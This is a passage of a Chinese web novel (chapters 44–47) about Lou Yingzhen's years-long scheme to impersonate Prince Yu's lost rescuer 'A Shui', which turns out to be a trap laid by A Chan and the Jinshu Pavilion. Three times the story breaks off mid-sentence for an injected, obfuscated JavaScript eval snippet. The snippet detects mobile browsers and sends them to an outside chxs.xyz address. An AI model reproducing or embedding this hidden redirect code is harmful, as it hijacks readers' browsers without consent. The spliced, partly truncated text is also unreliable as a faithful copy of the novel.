听到旁边的绿林中人无意之中说,江湖中最近新冒出一座锦书阁,可以打探任何消息,无论是商旅行市信息、世家大族秘辛,还是江湖门派的隐秘纠葛,只要给的钱足够多,什么都可以查得到。 一旁的楼映真听到,动起了心思。 回去后,锦书阁三个字一直在她脑海中盘旋不散。直觉告诉她,这个锦书阁一定有什么可以为她所用的东西。 她将自己私下赚的银钱通通拿出来,依次分为几份。 第一份,当做敲门砖,她托黑市的人找到了联系锦书阁的渠道。 第二份,她联系锦书阁,用一小笔钱买到了西北边陲的行商信息,利用这个钱,她将本来只局限在这个镇子上的生意扩大到临近的三四个镇子,赚了很大一笔钱。 有了钱生钱的渠道,楼映真有底气多了,至少面对家人的冷嘲热讽时,她可以大胆还击,虽然暂时还不能摆脱娘家,但至少不用再受窝囊气。 在娘家人觉得她已经疯癫泼妇到无药可救之时,她继续用第三份钱去锦书阁买消息。这一次,她打算摸一摸门路,看有没有办法,将生意一路开回桓安。 只要她能够回桓安,就不用再受娘家人的气,哪怕自己今后只孤身一人,她也认了。 就在她打探消息的时候,却无意中发现了一件事情。 有一个从桓安到西北边陲来的行商坑了她一笔钱,她当时做生意不久,为了促成这笔生意她费了九牛二虎之力从中斡旋,本以为能大赚一笔,结果就这么被人坑了。 她不甘心,想要回这笔钱,多方打听,结果发现这个奸商,竟然正是煜王! 煜王晁元肇,她对其行事作风非常熟悉,绝不会认错。 没想到她都到了这西北边陲之地,还能遇见煜王,这天降的缘分,她一定要抓住。 嫁给煜王,是她十年前的心愿。 那时,嘉善皇后和刚立两年的太子几个月内相继薨逝,圣人伤心欲绝,没有另立皇后和太子的打算。 但只要太子之位虚位以待一天,各位皇子之间的暗流涌动就不会停歇。 这煜王晁元肇看起来浪.荡不羁,但其实是个很有野心的人,虽然他并不像其他皇子抱团内斗,但也没有放弃在圣人面前表现自己。 只是他另辟蹊径,独自行事,扮做商旅在全国各地游历,因此每次向圣人汇报各地风土民情之时,总有见地,也解决了几件百姓的燃眉之急。 但这些事都不是什么大事,不会太抢风头,因此煜王在圣人、朝臣、民间口碑都还不错。 楼映真觉得,煜王此人还算有些潜力,总比其他窝里斗的皇子要好很多,便铆足了劲想要争取煜王妃之位,可最后,还是被阮云薇捷足先登。 楼映真在煜王妃之争中落败之后,紧接着便成亲、丧夫、举家远迁,这一系列打击早已让楼映真将煜王抛诸脑后。 但如今她重遇煜王,这让际遇差到急需一根救命稻草的楼映真内心某些念头又开始蠢蠢欲动。 因此得知被煜王坑了钱,她甚至非常开心,因为煜王终于与她又有了交集! 44. 胎记 楼映真开始频繁打探煜王化名的这位行商的消息,看有没有什么可以接近他的方法。 随着每一次打探消息的详尽与深.入的程度,锦书阁的要价越来越高。 虽然楼映真也承认拿到手的消息质量确实不错,但对方的狮子大开口,也着实让她吃不消。锦书阁开出的价格,甚至超出了她手上所有流通的银钱总额。 她甚至怀疑锦书阁应该是知道这个行商就是煜王,所以才敢这样肆无忌惮地要价。 但她依旧舍不得放弃,为了得到煜王的第一手消息,她咬着牙铤而走险,不惜将手上所有的商铺都抵押出去借了一.大笔举贷。 但屋漏偏逢连阴雨,赶上一批她购下的在途货物被火烧光,她手上仅剩的资金不够弥补亏空,没能及时还钱,任她好话说尽,举贷那边居然趁夜潜入她的闺房,将她堵在墙角威胁,要把她经商失败的事情告诉家里人,告诉整个安密镇的人,让她颜面尽失。 楼映真虽与黑市往来,但以前从没借过举贷,不知道民间行事竟粗鄙恐怖如斯,这次经历吓得她肝胆俱裂,夜夜提心吊胆无法入眠,钱还不上,根本吃不下饭。 既要绞尽脑汁日夜赚钱,又要瞒着所有人,她迅速消瘦,面色如鬼,其他房的姐妹甚至讥笑她和霜鹭站在一起,不知道的还以为霜鹭是主子,她才是婢女。 娘家人除了暗中讥笑她,还一度以为她患了什么怪病。人人都对她敬而远之,私下更加谣传她是被诅咒的人,所以克夫克父克母。 但楼映真依旧忍了下来,为了煜王。 总算上天垂怜,她没有白白经受煎熬,之后生意有了转机,渐渐周转过来,举贷也慢慢还上了。 此外,她砸给锦书阁的钱也没有白费,真的让她找到了一个突破口。 锦书阁给了她一个消息,煜王化名的行商曾在晋南的一个山中穿行,遭遇险境,当时多亏了一位当地女子路过出手相救,他得救了,女子却坠下山崖不知所踪。 他十分感念这位女子的恩德,脱险后曾在女子坠崖处的山下四处搜寻,但始终不见她的踪迹。 万般无奈下,他找到了锦书阁,重金打探这位女子的消息。 他给锦书阁的寻人信息是,遇险时山中有雾,他对于该女子的相貌并未见得特别清晰,只知道应该是面容白净,容颜姣好,身形瘦削却英气十足,声音清脆好听。 过了一段时间,锦书阁给出了答复。好消息是找到了,坏消息是女子已经亡故。 在他遇险的那个山崖之下,一个被密林遮掩得极为隐蔽的峡谷裂隙中,村人曾见过女子所穿衣物的碎片,跟他所形容的衣料完全对得上,周围有大量血迹,却不见尸体,村人料想应该是被一些豺狼野狗之类的野兽从缝隙中撕碎吞食了。 收到这个消息之后,行商再也没有继续和锦书阁打探。 而锦书阁给楼映真的消息是,这个行商每年遇险的那个日子前后,会找村民带路,回一趟当时遇险的山谷,以及女子坠崖之下的那个隐秘的峡谷裂隙边上,默默缅怀这位女子。 这个消息让楼映真非常振奋。 因为这位女子对煜王来说虽然是一个心结,但对她来说却是一个翻盘的可能。 她立马借口散心去了一趟这个山谷,亲自找村民打探了这位女子的消息。 她要知道这个让煜王一直魂牵梦绕的女子,到底是个什么样的人。 这个女子应该不是本地人,因为很多村民对她也知之甚少,就连高矮胖瘦每个人的说辞都不一样。 她一番打探,只拼凑出来一点女子的模糊形象,应该和她差不多高矮,但是更加劲瘦,独来独往,很少和人交流,不是本地口音。 但是这些消息并不足以让她翻盘。 正当楼映真一筹莫展的时候,她遇见了一个村妇,四十岁左右年纪,很爱聊天。攀谈中,她得知这个女子竟在村妇隔壁住过一段时间,名叫阿水。 楼映真立马装作是找到了自己素未谋面、同父异母、失散多年的姐妹,流下了两滴失而复得、随即又得而复失的伤感眼泪,给了村妇一笔钱,告诉她虽然阿水已经死了,但自己还是想知道关于阿水的一切。 村妇拿了钱,自然更是滔滔不绝,她回忆了许多细节。 阿水是个猎人,常穿赭石色的胡服,一把小腰勒得劲细,走路带风,经常独自往山中密林去打猎,经常一去三四天。 村妇会帮她看家,作为回报,阿水也会给村妇带回一些山鸡之类的野味……只不过没过多久,就好像在山里出了事,据说坠下山崖叫虎狼撕食了。 她和村妇聊了许多,村妇感慨:“哎,之前帮过她的忙,她还说打猎回来给我捎带一头鹿,结果还没兑现,水灵灵的一个小娘子,就这么没了,怪可惜的!” 在村妇的感慨中,楼映真满意离开,对她来说,此行收获颇丰。 村妇确实回忆了不少,但其中最重要的一句,让楼映真觉得,值得她铤而走险,豁出去搏一把。 在她告诉村妇阿水是自己父亲的私生女时,那村妇细细打量她,突然一拍大.腿,惊叹道:“你别说,你还真别说,阿水的五官细看确实和你差不多诶!” 楼映真十分激动,又冷静下来,问村妇是不是见她哭了,为了安慰她才这么说的。 村妇连忙对天发誓:“你大可放心,以我这么多年在村中替娘子郎君牵线搭桥相面的眼力,绝对不会看错。要说哪里不同,那便是……” “便是什么?”楼映真的心一瞬间又揪了起来。 村妇有些不好意思地说:“说了你别生气啊,就是……就是她的脸比你小很多,腰比你细很多……哎呀,总之和你差不多,就是你比阿水胖了些而已!” 随即像是怕楼映真生气,又找补了一句:“不过你也蛮好看的咧!你们姐妹俩都是美人坯子!” 楼映真心中一块大石这才落地。 她曾想过无数个办法接近煜王,不过还有什么办法,能够比扮成煜王疑似亡故的心上人重新出现在他眼前,带给他的震撼更大呢? 只是胖瘦的区别,那压根不是问题,她可以不吃饭。 阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038517|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水会武功会打猎,那也不是问题,她可以练。 至于这些都做到之后如果还是不像怎么办? 她的解法是,不要去想,富贵险中求,她无论如何都要搏这一把。 回家之后,她更加严格地控制自己的饮食,照着村妇口中描述的阿水的身形无限靠近。 其实这对她来说很难,因为她本就是吃一点东西就容易发胖的体质,从小到大,她那位宫中为妃的姨母就一直对她说,想做人上人,就要对自己狠一点,女子尤甚。 她幼时口腹之欲很强,身材丰满,但为了她的贵妃梦,其实她多年来已经在饮食上十分克制。 而即便是被举贷吓得吃不下饭睡不着觉,她的身形在村妇口中也还是“你比阿水胖了些。” 为此,她在接下来的五年时间里,几乎没吃过一粒粟米,即便后来经常胃痛,郎中说必须要按节律吃饭,她每天吃过饭之后也会催吐,一天不落,与此同时,又强迫自己习武、练习打猎技巧。 她不间断地向锦书阁买消息,看看这个煜王遇险当时,周围有什么人,这些人是否记得当时这个女子曾经跟煜王交谈过什么,凡是锦书阁能够解决的问题,她通通不计较开价,只要能得到她所需的答案,花钱如流水又如何? 就这样,她日复一日坚持下来,但还有一件事情始终无法解决。 如果解决不了,虽然也必须要冒险一试,但失败的风险很大,那她这么多年来的心血以及付出的银钱都有可能竹篮打水一场空。 “娘子,铜镜。”霜鹭将云纹铜镜递给楼映真,笑着说:“娘子脸上的胎记几乎看不出了呢,皮肤也变得更加白嫩通透了。” 楼映真看着镜中光滑白净的脸庞,轻叹感慨。 之前一直解决不了的事情,就是额头正中的一块胎记。 这枚小小的胎记,让她吃了多少亏,花了多少钱。 当初争夺煜王妃之位,就因为这个胎记而落败。 煜王喜欢貌美女子,而首要条件就是皮肤无暇,而她这块胎记无论请了多少名医都治不好。 虽然平时她可以用精心描绘的花钿遮住,但煜王选妃的条件比较苛刻,需素颜验身,最后她因这块胎记没有通过。 许多清贵世家子弟也因为家中讲究,认为这块胎记不好,将她拒绝。 最后她花了无数心思和资财,才打通了礼部尚书家的人脉,如愿嫁给了陶俊贤,本以为皇天不负有心人,谁知对方是个短命鬼。 她悔恨无比,谁知道是不是礼部尚书家里本就知道这儿子是个病鬼,才娶她来冲喜! 待到她成了寡.妇,连自己娘家人指摘她克夫克父克母的时候,竟也拿这块胎记说事,认为这就是扫把星的印记,她觉得简直滑天下之大稽。 而她要假扮的阿水,虽然煜王因山雾没能完全看清阿水的面容,但他给锦书阁的寻人线索中,也明确表示阿水面容白净清秀。她脸上的胎记,说不定又会成为绊脚石。 这一次,她绝不允许胎记再坏事。 幸好,锦书阁给了她希望。 45. 圈套 楼映真早已恨透了这块胎记,甚至动了心思想把这块胎记直接用刀挖下来,冰凉的刀尖抵在脸上,她最终还是没能下得去手。 不是因为害怕,只因考虑到煜王并不喜欢女子脸上有疤,她还是放弃了这个想法。 于是,楼映真继续在锦书阁花费重金打探,有没有什么可以迅速祛除胎记的秘方。 皇天不负有心人,一年前,终于让她找到江湖中有一位闻寰居士,颇懂道医方药,有办法能够帮助自己祛除胎记。 只不过,需要一种叫做焰炁饕妖的妖怪涎水做药引。 楼映真生性喜洁,看到涎水二字时,她当场就呕了出来。但为了能够接近煜王,她已经付出了很多代价,区区往脸上涂抹妖怪涎水又算得了什么呢? 于是,楼映真果断支付了重金,委托这位闻寰居士帮她找妖怪涎水。 但这个叫焰炁饕妖的小妖怪据说非常胆小,易受惊吓,且行踪极其迅捷隐秘,闻寰居士在荔南一带花费了五个多月的时间,才将其捕获。 不过可喜的是,闻寰居士非常守信,有了焰炁饕妖的涎水做药引之后,很快便将药剂制作完成寄给了她。 楼映真收到药剂之后,按照闻寰居士给的方法涂抹,这个给她带来多年麻烦的胎记,真的肉眼可见地日日减淡,直到她去蓬莱春见到闻寰居士取第二疗程的药剂时,都已经淡得几乎看不出来,但居士还是非常负责地让她继续用药,以免胎记未被根除,日后反复。 到如今,楼映真扪心自问,一切她力所能及的准备,都已经尽力做好。 但多年在生意场上被坑的经验,还是让她谨慎了许多,她特意在计划行动之前,又回到晋南峡谷那个村妇家一趟。 当村妇打开门,再见到她,甚至有一瞬间恍惚,以为是阿水回来了,感叹她怎么连声音都像了,不禁啧啧称奇。 见到村妇这个反应,楼映真终于笑了,她已经很多年没有如此发自内心地开心了。 她知道,如今,她距离计划成功只有一步之遥。 这么多年来,她日夜担惊受怕,穷思竭虑,忍饥挨饿,习武苦练,所有她吃的苦,都是为了现在的这一刻。 这一次,她又借口散心,从娘家跑回了桓安,依旧又花了重金在锦书阁买到煜王夫妇即将去灵骅寺祈福的消息。 而这之后不久,就是煜王每年回晋南祭奠阿水的日子。 他一定很想见到阿水吧。 楼映真望着铜镜中的那张瘦削的面庞,唇角勾起一抹微笑。 对于七日后灵骅寺中的见面,她既紧张又期待。 虽然她身为寡.妇,年纪又不小了,煜王肯定不会收她做贵妾,但比起那个十年都没能生出孩子的阮云薇,她还是有一定的优势。 更何况,煜王行商,她在生意一道也可以从旁辅助。 只要能够留在煜王身边,哪怕只得他三分青眼,哪怕只做个外室,也比在西北边陲那个蛮荒之地受苦,在娘家遭白眼好。 这一次,只许成功,不许失败。 *** 桓安,蓬莱春。 谢慕游轻车熟路进入阿婵的房间,眉飞色舞,“已经将阮云薇和煜王一起去灵骅寺祈福的消息重金卖给了楼映真,又大赚一笔!” 她将手中的银票递给阿婵:“喏,这是你的分成。她疑心病还真是重,你从荔南府回来期间,她又去找那个村妇验证了一次。” “算她谨慎。”阿婵接过银票,拿在手中把.玩。 谢慕游感叹:“幸好你聪明,提前叫我这几月都安排人在村民那边混淆他们的记忆,免得他们说的话都是一样的。” 阿婵将银票放在桌上:“众口一词难免让她生疑,只有每个村民口中对我的描述真真假假掺杂在一起,可信度才高。只要保证她最信任的村妇口中给她的都是关键信息就可以了,她自会取舍。” 谢慕游竖起大拇指:“骗人这一道,还是你更强。当年要是没有你的提点,我这锦书阁也没办法短短几年就做得风生水起。 不过像楼映真这种容易水肿发胖的体质,能瘦到和你身形样貌声音都八分相似,也是够狠的。” 阿婵抿了抿唇角,越狠越好,没有人比她更希望楼映真成功。 “根本不是和我八分像,她只是高矮和我差不多,当年我化名阿水接近煜王的时候,是故意乔装成眉眼神似阮云薇的。本想着这样是不是接近煜王的时候,更符合他对女子的喜好。 但巧的是,阮云薇和楼映真是表亲关系,她俩五官、声音是真的有点像,也算天助我也。 晁元肇当年在雾中应该不太能看清我的眉眼,他既然对阿水念念不忘,楼映真只要有我当年装扮的七八成神似就能过关,容貌不完全一样根本就不是什么大问题。 如今楼映真那个样子,我觉得她扮阿水会更投晁元肇的眼缘,毕竟,她太了解我们这位煜王的喜好了。” 阿婵摸着她手臂上十几道交错纵横的疤痕出神。 这样也不枉费她在全国各处花了十几次机会才成功偶遇晁元肇,更用了五年时间牵线,才为他们几个人设下这个圈套。 阿婵起身,打开窗,这是谢慕游特意给她安排的房间,窗外一片星辉,尽收眼底。 一定要成功啊,楼映真,我会在旁边助你一臂之力。 *** 七日之后,煜王府内。 “阿水……”煜王还在床榻上未醒,手掌在身侧人纤细的腰.肢上轻轻摩.挲。 煜王妃阮云薇云鬓松散,只着薄纱里衣,此时本还睡眼惺忪,但听到枕边人口中又唤起这个名字,瞬间睡意全消,眼中浮现戾色。 自从殿下从荔南府回来之后,这已经是第三次睡梦中.出现这个名字了,以前都是隔几日就换一个名字,没想到这次竟然连续几日都是同一个名字。 这个阿水究竟是谁,如此令她的夫君魂牵梦绕! 成亲快十年,阮云薇有时候真的很想剖开旁边这个男人的心肝,好好看看里面到底藏了多少个人。 但身为煜王妃,她只能不动声色地压下火气,转身换上一副温柔笑意,轻轻推搡了一下枕边人:“殿下,该起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046179|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身了,咱们今日要去灵骅寺祈福,别误了时辰。” 煜王此刻正身处混乱的梦境之中。 他本梦到山野云雾之中一名身着赭色衣衫、身姿矫健的女子,救他于危难,而她自己却跌下山崖…… 及至隐隐约约听到耳畔有“欺负”二字,眼前画面突然变成在荔南府之时,百姓在富安佛塔上祈福,然后洪水来袭,佛塔顷刻间被冲垮的画面。 下一刻,又切换至夜空中那一抹白练踏空飞升的惊艳倩影,他一下子惊醒,醒来看清阮云薇的脸,瞬间萎靡了下来,懒懒躺回被衾中不想起身。 阮云薇见到煜王这般魂不守舍的模样,气就不打一处来,但还是假意关心:“殿下,可是又做噩梦了?” “嗯……梦到荔南水患了……好险好险……”煜王嘴里嘟囔,七仰八倒,完全不似在人前的风光霁月君子风仪。 阮云薇好声好气,软磨硬泡,煜王才慢吞吞起身下床,等待妻子服侍自己更衣。 阮匀薇一边将煜王的衣服给他套上,一边心中暗骂,梦到水患还能叫名字叫得那么温柔! 她本打算今日自己去灵骅寺祈福,出一波风头。 一是因为,桓安最近发生了多起孕妇流产事件,搞得坊间家中有孕妇的百姓人心惶惶,需要安抚,她身为煜王妃,却多年无子,此次出这个头,谁也不会指摘她半分。 此外,也能为她的夫君煜王博个好名声。 近日桓安风光无两的便是煜王,谁不知道他因顺利解决荔南府贪墨案和水患案在圣人面前露了脸、立了功。 她身为妻子,此时趁热打铁给他树立一个爱民护民的形象,不仅对煜王好,对她也有好处。 太子十年前病薨后,圣人多年未立皇后和储君。每个皇子都对东宫之位虎视眈眈,而她的夫君煜王是除了陈贤妃之子外最有希望的人选。 看在未来的太子妃之位上! 阮云薇多年来忍受煜王无休止地在外面招蜂引蝶,都是默默用这个自己给自己画的大饼顺气。 但七日前,煜王对她说要同她一起去灵骅寺祈福的时候,差点没把她气死! 为了把这场祈福声势搞起来,她特意召集了桓安官宦显贵圈的各家夫人和贵女们同去。 可谁料到,她这夫君平日里对她爱搭不理的,那日听说自己要去祈福,非上赶着要一起去! 她本就因为煜王口中夜夜换人,自己多年来也没个子嗣而生闷气,这次想去寺庙里静静心,好好拜一拜,祈求肚子争争气。 谁承想,她的好夫君偏生要跟着! 天知道她这次叫了多少名门贵女,好多都还未出阁,这要是被他看上了,夜里不知道又要喊什么东西! 但没有办法,煜王给出的同行理由是,自己在荔南府经历了水患,深感百姓安危重于泰山,一定要跟着去祈福。 为了未来太子妃之位!阮云薇心中默念,压下脾气,摆出一副温良淑德的样子,服侍煜王梳洗更衣完毕,又将自己收拾妥当。 二人各怀心思,却体面又不失亲密地挽手出门。 46. 故人重逢 此时,各家夫人贵女的马车早已在煜王府门口集结。 一行人乘上车马,浩浩荡荡向灵骅寺进发。 灵骅寺是桓安香火最旺的寺庙,位于郊外的风水宝地灵骅山,距离较远,众人乘着马车走了半天,才到寺庙门口。 午后,寺间风清树翠,蓊郁的参天古树屏蔽了外界的暑热。 煜王将煜王妃小心翼翼扶下马车,看得李侍郎夫人啧啧称赞。 “煜王殿下与王妃真乃伉俪情深,更难得的是心怀百姓,是大桓之福啊!” 旁边一众夫人贵女忙连连附和。 阮云薇面带得体微笑,替煜王回众女眷:“此次祈福全是煜王殿下的提议,他刚从荔南府治理贪墨和水患案归来,更加体恤到众生不易,因此特意安排了此行。众位夫人娘子自此同行,也是功德一件。” 众人互相吹捧一阵,便跟在煜王夫妇身后鱼贯进入寺中。 队伍最末尾,坠了一个与众夫人贵女格格不入的颀长身影,身着墨色劲装,表情严肃,气场冷峻,搞得他前面的贵女迈步发僵,眼睛都不敢随便乱瞟。 搞什么?!煜王来也就算了,怎么绣衣察事司的霍大人也跟来了!这是什么情况? 众夫人贵女在看到霍彦先阴沉的面孔时,就不约而同僵住了一瞬。 待看到他身侧那满头银丝、笑容满面、胖胖耷耷的母亲时,才明白,这又是霍夫人假公济私,给自家儿子物色媳妇呢! 在场的夫人贵女暗中叫苦,都极力缩小自己的存在感,此刻怎么看身上明明已经很素净的裙衫都觉得扎眼,暗中祈求霍大人千万不要注意到自己。 注意到自己事小,万一这霍大人心血来潮顺便查查自己家里,那可就大事不妙了。 这位阎王爷专爱把人家家底儿翻个底朝天,不是砍头抄家就是千里流放,被他盯上,准没好事。 他而立之年就爬到绣衣察事司副察事的高位,获得圣上钦赐的龙首金杖,谁不知道他为了获得情报无所不用其极,当年甚至连友人都不放过,想想就令人胆寒…… 霍彦先十分头大。 他从荔南府回来之后,一直马不停蹄给圣上述职,处理重罪犯的关押量刑和朔勒细作情报事宜,忙得焦头烂额,刚忙完,好不容易休沐一天,却又被母亲叫来寺庙祈福。 看着母亲和蔼的笑脸,他能不知道她是什么意思嘛! “五郎啊,你也老大不小了,看和你同龄的其他世家郎君,而立之年都已儿女绕膝,你可倒好,天天审犯人抓犯人,不是睡在别人家房顶就是睡在大牢审讯室里,这种日子什么时候是个头啊! 可怜我一介老妇成天在家孤苦伶仃,什么时候领个小娘子回家给阿娘看看?什么时候生个小娃娃给阿娘玩玩?” 这种话母亲在家中说了没有一百遍也有一千遍,霍彦先听得耳朵都要起茧子了。 但他不得不佩服母亲对他的信心,她老人家还真以为他貌似潘安,走到街上到处有小娘子投掷瓜果鲜花呢。 就他这绣衣察事司副察事的身份,谁家贵女不是躲着走,况且他公务忙起来连家都回不了,哪有什么闲心找媳妇! 但灵骅寺之行,母亲给出的理由是,近日桓安孕妇频频遭灾,虽说传言是妖鬼所为,但也不排除有宵小之辈趁乱作祟,护卫煜王殿下和王妃的安危要紧。 行,这个理由很充分,没有毛病,他勉强答应了。 但最主要的是,他心中还惦记着煜王跟平海镇节度使卫琛往来甚密这件事。 现在大桓局势以西北朔勒最为敏感,但因在荔南府抓到了谭胥生这个细作,他反向传递了假情报,朔勒内部自己乱作一团,西北边暂时应该掀不起什么风浪,但若煜王包藏祸心,同东南的藩镇势力有什么瓜葛……也是件麻烦事。 因此,霍彦先打算接下来花多一点时间盯着煜王。 不过他也要尽量缩小自己的存在感,免得大家都不自在。 霍彦先就这样默默地、满脸阴沉地、手按着腰间的贯苍刀走在队伍最末尾,不知道他内心想法的一众女眷,总觉得他下一刻就要提刀砍人,吓得也默默地迈起小碎步,希望离他远一点、再远一点。 煜王夫妇此刻已到大雄宝殿前站好等着众人。 队伍前端的一位贵女上台阶时一个不留神差点被裙摆绊倒,煜王眼疾手快一个箭步上去扶住。 贵女抬头,见是煜王温声问自己没事吧,瞬间脸颊绯.红。 霍彦先看到煜王妃的眼底闪过一丝阴霾,不过瞬间就遮掩过去了。 *** 祈福在灵骅寺方丈成智大师的主持下顺利结束了。 众人今晚准备在寺中留宿一晚。 于是祈福结束之后,众人从大雄宝殿鱼贯而出,各自带贴身仆从回到早已安排好的客房歇息。 但时间还早,有个活泼好动的年轻贵女提议去寺庙后山顶的凉亭乘凉。 “据说后山凉亭可以看到桓安最美的景致,山顶清风也正好祛除暑热。” 小姑娘年纪不大,之前没有来过灵骅寺,对一切都十分好奇,不顾舟车劳顿叫了几个亲近的贵女夫人一起同行。 煜王听到外面十分热闹,也决定不辜负好景色,趁此机会逃离朝堂冗务,散散心。 “殿下等等,妾身愿与殿下同去。”煜王妃见他迈步往外走,刚换掉的外衫立马重新穿好,整装待发。 “怎么?你不是说坐了半日马车十分乏累,要歇息一会儿?”煜王奇道。 “不碍事,咱们一年也来不了这灵骅寺几回,尤其是和殿下一起,机会难得,咱们一同去山顶看看风景也好。”煜王妃笑得十分贤良淑德。 “也好,那你累了同我说,别硬撑。”说着牵了她的手,和她一起跟同去的人集结前往。 煜王妃看着眼前这群欢颜雀跃的年轻贵女,着实头痛。 虽然她们因祈福刻意穿了素净衣衫,但年轻娇嫩的脸庞,和周身洋溢的天真活力却是她无论如何保养都比不了的。 让殿下单独和这群女人一起游山玩水,开什么玩笑! 她再次暗骂自己多事,明明一个人祈福就好了,竟还招惹这么多麻烦精一起! 但表面上,她还是顾全大局的煜王妃,微笑着叮嘱大家:“山间多蛇虫,大家一会儿可要小心些,不要单独行动,夏季暑热,若有不适一定要及时说出来。” “还是煜王妃想得周到,你们这帮年轻小娘子,就只顾着玩,好好跟煜王妃学学。” 夫人们告诫众贵女,后者乖巧应了,众人便一起向后山凉亭走去。 霍彦先就知道这群人闲不住,也只好在队伍末端默默跟着,保护众人安全。 众人身后,一个影子悄然于林间闪过。 霍彦先感觉到了什么,蓦地回头。 天朗气清,草木葳蕤,古刹神幽,一切正常。 但刚才那感觉,真的很熟悉,霍彦先随即皱眉,在心中自嘲,自己到底在想什么啊,怎么会在这里遇见她呢? *** 灵骅寺已有百年历史,香火鼎盛。 沿后山一路拾级而上,曲径通幽,禅意盎然。加之刚下过一场小雨,山间薄雾缥缈,众人皆有一种清风静气沁入心脾之感。 “诶,有人看到燕娘吗?” “好像去那边扑蝶了。” 有个叫傅知燕的贵女,年纪小贪玩,一时间扑蝶入了迷,不知不觉就偏离了后山铺就的石阶,跑到旁边林子里去了,众人看到,就唤她别跑太远。 煜王对身旁的煜王妃笑道:“到底是年轻,还记得咱们当年一起去灵山,你也是这样,一下车就到处瞧瞧看看,对什么都好奇,如今却坐半天车就累了。” 煜王妃轻拍他手臂娇嗔:“殿下莫要取笑妾身,毕竟已经十年过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“无妨,你的脚怎么样?”霍彦先一边问,一边用贯苍刀在树丛里来回拨拉,怕有蛇在周围。 此时煜王后脚也赶到:“怎么样,没事吧?” 傅知燕摇摇头,说多亏霍大人相救。 煜王见霍彦先看也不看这边,只顾埋头找蛇,不由得感叹,怪不得这霍察事年纪一.大把还是个光棍,佳人在前,就只找蛇,怪谁? 几个侍卫护送傅知燕回去,煜王和霍彦先找了一通,虽然确实听到草丛间有嘶嘶穿梭的暗响,但山间有雾,一时半会找不到,二人安全起见,便决定折返。 快走到石阶边,已经看到焦急等候的众人,突然一道绿影从树上飞掠而下,朝着煜王门面直冲过去。 “殿下小心!”煜王妃惊呼。 是蛇! 霍彦先跟在煜王身后,此时蛇已到煜王面前,电光火石间,他根本来不及上前。 说时迟那时快,煜王只觉眼前一花,绿影还没到他面前,便被什么东西撞到边上去了,一道赭色身影从他身前掠过,追蛇而去。 煜王瞬间瞳孔骤缩,这个身影! 眼前的画面突然和几年前在晋南深山的那个雾天重合起来,和今早的梦境重合起来。 山野密林,浓雾险境,赭色身影飞驰而来相救,那是—— “阿水……” “阿水!你……你还活着!” 情急之下,煜王喊得声音奇大,石阶上的煜王妃听得清清楚楚,瞬间脸色煞白。 那赭衣女子已经身手利索地用弹弓将蛇精准射死在地,转头看向煜王,神色平淡问道:“没事吧?” 煜王疾走两步上前,透过山间雾气看到那张魂牵梦绕的脸,心中的震惊喷.薄而出:“真的是你,阿水……” 煜王妃一个踉跄站立不稳,众人见此情景哪还不知道发生了什么,好家伙,感情是煜王见到了“故人”,这下有好戏看了! 饶是八卦之魂熊熊燃烧,但众人还是理智默契地将头转开,看天看地,假装无事发生,只用余光偷瞄。 煜王妃看那赭衣女子,越看越不对劲,越看越眼熟,眼中的震惊之色也越来越浓郁,完全掩饰不住,失声说道:“你……你是楼映真?!” 47. 撩拨 眼见煜王和煜王妃肯定是再没兴致去山顶看风景,众人连忙给二位找台阶下:“后山有蛇,为了大家的安危,还是早点回去吧。” 阮云薇也只能强装笑意和镇定,言辞体贴地让大家回去休息,只是任谁都能看得出那笑容和体面非常僵硬。 大家哪敢不应和,匆匆结伴下山。 霍彦先向来不管煜王这些事情,只负责安危,见众人都安全回来,便松了口气。 至于煜王有什么风.流债,让他自己扛去吧! 他正欲回房看母亲,被他救过的小贵女傅知燕独自前来,郑重地跟他道谢。 傅知燕一脸“努力大着胆子”的怯生生,霍彦先怕吓到她,温言宽慰:“这本是我职责所在,不足言谢。今日吓到了吧,快回去好好休息。” 傅知燕从前只听说霍彦先是众人口中的“沉命司阎罗王”,为人冷酷凶狠,哪知后山被救时和现下对她说话,都是如此温声低语,声音也很好听,总觉得和传言中不太像。 最要命的是,仔细一看,这霍大人的眉眼,竟比后山匆忙抬头那一瞥更加锋锐俊美,一时间她盯着他的脸,竟忘了说话。 她是绝对不会承认自己有趁着道谢再好好看他一眼的私心的…… “还有事吗?”直到霍彦先皱眉询问,傅知燕见他一冷脸气场瞬间可怕起来,才反应过来自己这样好傻,急匆匆告辞离开。 霍彦先终于得闲去看母亲。 哪知刚到母亲房前,就看到从里面探出一个头,正是他那目光如炬的母亲! 显然刚才他和傅知燕的对话,母亲都看到了。 霍夫人笑着让他进门:“五郎辛苦,看来此行有些收获。” “……”霍彦先哪能不知道母亲在指什么,默默岔开话题:“万幸蛇没伤人,还算幸运。” “燕娘性子胆大活泼,很是讨喜,今年十六岁,年纪和你是差得有点多,但……” “母亲用过晚膳了吗?”霍彦先坐下给她倒了杯茶。 “不过要是你觉得她不错,为娘的可以从中斡旋……” 霍彦先“腾”地一下站起来:“我想起寺中还有些需要布防之处,先走了,阿娘早点歇息……” 他转身欲溜,奈何母亲早有预判,一把将他拦住:“不喜欢也没关系,五郎若是看上哪家小娘子,千万莫羞涩,一定要跟阿娘说!” 